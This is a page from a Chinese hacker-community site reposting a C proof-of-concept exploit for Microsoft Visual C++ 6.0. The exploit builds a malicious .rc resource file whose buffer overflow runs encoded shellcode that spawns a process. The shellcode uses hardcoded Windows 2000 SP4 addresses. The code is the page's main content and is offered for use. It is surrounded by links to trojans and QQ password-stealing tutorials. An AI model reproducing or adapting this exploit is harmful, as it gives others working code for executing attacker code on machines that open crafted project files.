设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 电脑基础 -> 电脑基础 -> 文章内容 [站内搜索]  

 
Microsoft Visual C++ 6.0 SP6 EXP
作者:佚名  来源:本站整理  发布时间:2007-2-8 14:26:37  发布人:www.hack86.com
  
 Microsoft Visual C++ 6.0 SP6 EXP


#include "stdio.h"
#include "stdlib.h"
#include "memory.h"

#define STR01 " Microsoft Visual Studio 6.0 SP6 .rc PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 283
#define DEC_CODE 0xBC
#define DEC_CODE_OFFSET 0x2D
#define ENC_SIZE_OFFSET 0x3E
#define SHIFT 0x40
#define SHIFT_DEC_OFFSET 0x35
#define PROC_NAME_OFFSET 0x107
#define GETSTAR_OFFSET 0x11
#define CREPRO_OFFSET 0x6d
#define GETWINDIR_OFFSET 0x25
#define ESPSUB_OFFSET 0x08
#define FNAMSHIFT_OFFSET 0x02

typedef struct
{
    unsigned int getStarInf;
    unsigned int crePro;
    unsigned int getWinDir;
    unsigned int jmpEspPtr;
}ApiPtrs;

ApiPtrs osApiPtrs[2]=
{
    0x7c4f49df,0x7c4fc0a0,0x7c4e9c00,0x782f28f7,
    0x7c596b7a,0x7c595010,0x7c592d23,0x77e16280
};

unsigned char decoder[]=
{
    0xeb,0x2a,0xeb,0x2a,0x8b,0xdc,0x81,0xc3,
    0x40,0xff,0xff,0xff,0x8b,0xcb,0x33,0xd2,
    0x8a,0x21,0x80,0xfc,0xbc,0x75,0xe9,0x41,
    0x8a,0x21,0x80,0xec,0x40,0x88,0x23,0x43,
    0x41,0x42,0x33,0xc0,0xb0,0x99,0x3b,0xd0,
    0x7c,0xe6,0xeb,0xd6,0xeb,0xef
};

unsigned char shlCode[]=
{
    0x83,0xc4,0x0c,0x8b,0xc4,0x8b,0xe6,0x90,
    0x90,0x90,0x50,0x66,0x2d,0x10,0x20,0x50,
    0xb8,0x7a,0x6b,0x59,0x7c,0xff,0xd0,0x5b,
    0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
    0xeb,0x10,0x30,0x53,0xb8,0x23,0x2d,0x59,
    0x7c,0xff,0xd0,0x58,0x50,0x66,0x2d,0x10,
    0x30,0x32,0xdb,0x38,0x18,0x74,0x03,0x40,
    0xeb,0xf9,0x5b,0x53,0xb2,0xff,0xb1,0x5c,
    0x88,0x08,0x40,0x38,0x13,0x74,0x08,0x8a,
    0x0b,0x88,0x08,0x43,0x40,0xeb,0xf4,0xb2,
    0x00,0x88,0x10,0x58,0x50,0x66,0x2d,0x10,
    0x30,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x10,
    0x20,0x50,0x33,0xc9,0x51,0x51,0x51,0x51,
    0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x59,
    0x7c,0xff,0xd0,0xeb,0xfe
};

unsigned char jmp1Seq[]=
{
    0xe9,0x2d,0xff,0xff,0xff
};

unsigned char jmp0Seq[]=
{
    0xe9,0x28,0xff,0xff,0xff
};

unsigned char espSub0=0x4e;
unsigned char espSub1=0x5c;
unsigned char fnamShift0=0x0e;
unsigned char fnamShift1=0x1c;
unsigned char retOffset1=0xe7;
unsigned char retOffset0=0xf5;
unsigned char jmp1Offset=0xeb;
unsigned char jmp0Offset=0xf0;
unsigned short back3=0xf5eb;
unsigned char back3Offs=0xf9;

unsigned char buf0[EXPL_SIZE];
char *outName;
int osId;
int defProc;
unsigned char espSub;
unsigned char fnamShift;
unsigned char *jmpSeq;
unsigned char retOffset;
unsigned char jmpOffset;


int Encode(unsigned char *destBuf, unsigned char *srcBuf, int srcSize)
{
    int cnt,c1;

    for(cnt=0,c1=0;cnt<srcSize;cnt++)
    {
        if((srcBuf[cnt]<0x20)||(srcBuf[cnt]==0x22)||(srcBuf[cnt]==0x2f))
        {
            destBuf[c1]=DEC_CODE;
            destBuf[c1+1]=srcBuf[cnt]+SHIFT;
            c1+=2;
        }
        else
        {
            destBuf[c1]=srcBuf[cnt];
            c1++;
        }
    }

    return c1;
}

void CompileBuffer()
{
    int ptr=0;
    int encSiz;

    memset(buf0,’1’,EXPL_SIZE);
    ptr+=sprintf((char*)buf0,"1 TYPELIB MOVEABLE PURE \"");

    decoder[ESPSUB_OFFSET]=espSub;
    
    memcpy(buf0+ptr,decoder,sizeof(decoder));
    buf0[DEC_CODE_OFFSET]=DEC_CODE;
    buf0[SHIFT_DEC_OFFSET]=SHIFT;
    ptr+=sizeof(decoder);

    *((unsigned int*)(shlCode+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
    *((unsigned int*)(shlCode+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
    *((unsigned int*)(shlCode+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;

    shlCode[FNAMSHIFT_OFFSET]=fnamShift;
    
    encSiz=Encode(buf0+ptr,shlCode,sizeof(shlCode));
    buf0[ENC_SIZE_OFFSET]=sizeof(shlCode);

    sprintf((char*)(buf0+PROC_NAME_OFFSET),"%s\xff",DEF_SPAWNED_PROCESS);
    buf0[PROC_NAME_OFFSET+sizeof(DEF_SPAWNED_PROCESS)]=0xff;

    *((unsigned int*)(buf0+retOffset))=osApiPtrs[osId].jmpEspPtr;
    memcpy(buf0+jmpOffset,jmpSeq,5);

    if(osId==0)
    {
        *((unsigned short*)(buf0+back3Offs))=back3;
    }

    sprintf((char*)(buf0+EXPL_SIZE-3),"\"\r\n");

    printf("Exploit buffer compiled\n");
}

void WriteBuffer()
{
    FILE *o;

    o=fopen(outName,"wb");
    if(o==NULL)
    {
        printf("Cannot open file for writing\n");
        exit(0);
    }

    fprintf(o,"//**********\r\n// %s\r\n//**********\r\n\r\n",STR01);
    fwrite(buf0,EXPL_SIZE,1,o);
    fclose(o);

    printf("Output .rc file [ %s ] built successfully\n",outName);
}

void ProcessInput(int argc, char* argv[])
{
    printf("\n Microsoft Visual Studio 6  .rc resource files exploit\n");
    printf("Vulnerability found & exploit built by porkythepig\n");
    
    if(argc<3)
    {
        printf("Syntax: exploit.exe os outName\n");
        printf("[os]        host OS, possible choices:\n");
        printf("               0   Windows 2000 SP4 English\n"); 
        printf("               1   Windows 2000 SP4 English all updates on day 11.01.2007\n");
        printf("[outName]   output .rc exploit file name\n");
        exit(0);
    }

    osId=atol(argv[1]);
    if((osId<0)||(osId>1))
    {
        exit(0);
    }

    if(osId==0)
    {
        espSub=espSub0;
        fnamShift=fnamShift0;
        jmpSeq=jmp0Seq;
        jmpOffset=jmp0Offset;
        retOffset=retOffset0;
    }
    else
    {
        espSub=espSub1;
        fnamShift=fnamShift1;
        jmpSeq=jmp1Seq;
        jmpOffset=jmp1Offset;
        retOffset=retOffset1;
    }

    outName=argv[2];
}

int main(int argc, char* argv[])
{

    ProcessInput(argc,argv);
    CompileBuffer();
    WriteBuffer();

    return 0;

  
 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  教你获取WindowsNT的..
详解WMI的攻击与防御..
Nuendo软件制作MIDI..
Nuendo软件制作MIDI..
“笑”傲流媒体―SM..
[图文] “笑”傲流媒..
[图文] “笑”傲流媒..
[图文] “笑”傲流媒..
DVD、miniDVD、VCD、..
[组图] 使用Fw MX插件..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
最新QQ空间4.0全屏版效果图!!
中华隐士黑客联盟
不用木马,轻松万能偷盗QQ号码
黑客快速入门(强烈推荐)
18岁少女欲6000元卖处女身 救患血..
本站超级酷的Flash (不看会后悔的..
QQ密码本地破解的原理和方法
倾情推出QQ空间互踩联盟(免费加入..
 
挑战黑客入侵 安全虚拟主机配置.. 02-08
灰鸽子巧妙利用全攻略 02-08
旁注入侵专用程序——让菜鸟也肉.. 02-08
新美女的诱惑 02-08
新美女的诱惑 02-08
最新美女脱衣 02-08
Vista杀毒测试中微软和McAfee相继.. 02-08
木马辅助查找器试用:为"自动播放.. 02-08
bbsxp log注入 02-08
Microsoft Visual C++ 6.0 SP6 E.. 02-08
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com